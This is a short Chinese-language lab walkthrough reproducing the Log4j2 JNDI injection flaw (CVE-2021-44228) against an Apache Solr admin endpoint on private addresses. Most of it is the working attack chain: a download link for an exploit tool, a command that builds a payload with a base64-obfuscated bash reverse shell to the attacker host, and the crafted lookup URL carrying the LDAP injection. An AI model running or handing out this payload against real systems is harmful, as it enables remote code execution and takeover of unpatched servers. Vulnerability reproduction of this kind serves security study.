Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）

Apache Log4j 2 是对 Log4j 的升级，它比其前身 Log4j 1.x 提供了显着改进，并提供了 Logback 中可用的许多改进，同时修复了 Logback 架构中的一些固有问题。

2021 年 12 月，在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行。

浏览以查看 Apache Solr 的管理门户：http://192.168.92.130:8983/solr/#/

进入后去寻找注入点可参考apache log4j 2(CVE-2021-44228)漏洞复现_cve-2021-44228 漏洞复现-CSDN博客，这里不再多说。

反弹shell
工具：https://pan.baidu.com/s/1ijXAfPCFCPbU7FveCpNnRQ?pwd=v21e
提取码：v21e

启用工具构建payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEzNS84MDAwIDA+JjE=}|{base64,-d}|{bash,-i}” -A “192.168.92.135”

 

执行之后会看到熟悉的rmi和idap，利用工具生成了恶意的命令和url

http://192.168.92.130:8983:/solr/admin/cores?action=${jndi:ldap://192.168.92.135:1389/hxjutt}

发现成功重定向恶意类地址 :

终端监听端口:8000